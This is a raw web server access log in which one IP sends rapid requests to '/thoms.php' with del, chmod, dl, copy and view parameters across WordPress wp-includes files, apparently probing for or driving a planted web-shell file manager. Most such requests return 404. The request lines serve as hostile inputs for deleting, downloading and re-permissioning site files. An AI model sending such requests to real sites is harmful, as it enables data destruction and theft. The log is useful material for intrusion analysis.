45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?del=embed-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?del=style-engine&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=style-engine&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?dl=http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /thoms.php?chmod=date.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:17 -0400] "GET /biotaiwan.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?del=customize&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=customize&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?chmod=class-requests.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/build/ HTTP/1.1" 200 1288 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fkses.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fkses.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-i18n.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-i18n.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?dl=class-wp-network.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:18 -0400] "GET /biotaiwan.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?del=fonts&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=fonts&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /biotaiwan.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdeprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdeprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?chmod=feed-rss.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?dl=feed-rss2.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?del=template-canvas.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?dl=view-config.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?del=view-transitions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?del=wp-diff.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?chmod=js&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=js&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fabilities.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fabilities.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /biotaiwan.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?chmod=admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /biotaiwan.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /biotaiwan.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:20 -0400] "GET /biotaiwan.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
